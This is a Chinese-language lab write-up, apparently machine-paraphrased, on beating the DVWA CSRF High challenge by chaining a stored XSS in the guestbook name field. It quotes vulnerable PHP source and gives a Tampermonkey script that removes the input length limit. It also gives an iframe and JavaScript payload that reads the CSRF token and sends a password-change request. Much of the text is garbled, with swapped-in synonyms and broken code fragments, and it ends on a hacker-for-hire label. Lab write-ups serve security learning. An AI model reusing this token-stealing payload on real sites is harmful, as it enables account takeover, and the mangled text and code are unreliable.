网上有许多关于CSRF High等级的通关记载,可是都有一个缺点,没有做到主动触发修正暗码。这儿记载了我在解题时的思路,趁便共享出来抛砖引玉,期望大佬们不吝赐教哈
0×00 简略剖析一下CSRF后端逻辑
vulnerabilitiescsrfsourcehigh.php
if( isset( $_GET[ 'Change' ] ) ) {
// 验证 Token 假如不正确则跳转到index.php
// dvwaincludesdvwaPage.inc.php:527
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//...中心省掉,只重视上下这两个函数...
// 生成 Token , 使用了 md5( uniqid() ),所以简直不行能猜测到Token值
// dvwaincludesdvwaPage.inc.php:527
generateSessionToken();
?>
(这儿仅仅简略阐明一下逻辑,本站已有长辈详细剖析过源码)
因为使用了不行猜测到的token,所以咱们首要想到的思路,便是找一个XSS缝隙来合作,先经过XSS取得token之后修正暗码。
0×01 突破点 XSS-Stored
vulnerabilitiesxss_ssourcehigh.php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// strip_tags去除了HTML标签,htmlspecialchars 转义特别字符&"为实体
$message = strip_tags( addslashes( $message ) );
...
$message = htmlspecialchars( $message );
// $name并没有像上面相同严厉过滤,只用正则简略的做了除掉,导致了XSS的或许,可是有约束下面会说
$name = preg_replace( '/, '', $name );
...
// 将$message、$name刺进数据表
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
...
//mysql_close();
}
?>
这儿现已剖析确认了$name可被咱们利用做XSS,这样就可以合作CSRF来重置用户暗码了。
需求先阐明一下DVWA的数据库规划,guestbook表的name字段类型为varchar(100),也便是说最多name只能写入100个字符,超越的字符会被数据库扔掉不存储。
那么怎么做到bypass呢,便是本文要表达的重点了。
0×02 前端先设置油猴脚本
因为DVWA前端的Name字段约束长度10个字符,并且测验过程中发包次数许多,每次都要修正长度就很烦,这儿就可以让油猴替代咱们修正,当然你也可以用Burpsuite发包,我这儿只写了自己的测验办法。
*** W: 这儿没有修正DVWA后端源码,以保证跟我们的代码共同。
// ==UserScript==
// @name 改掉DVWA烦人的长度约束
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author F1tz
// @match http://dvwa.lab/vulnerabilities/xss_s/
// @grant none
// ==/UserScript==
(function() {
'use strict';
var N = document.getElementsByName('txtName');
var M = document.getElementsByName('mtxMessage');
N[0].maxLength=100;
N[0].size=60;
M[0].value=1;
})();
装置脚本,并保证脚本处于启用状况。
这时候翻开测验页面,就可以直接输入最多100个字符了,并且Message会主动填入1。
下面开端测验。
0×03 一次失利的测验
结构payload:
先刺进了一个iframe标报到留言板
"../csrf">
并在控制台履行测验payload句子
f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;
[1][2][3]黑客接单网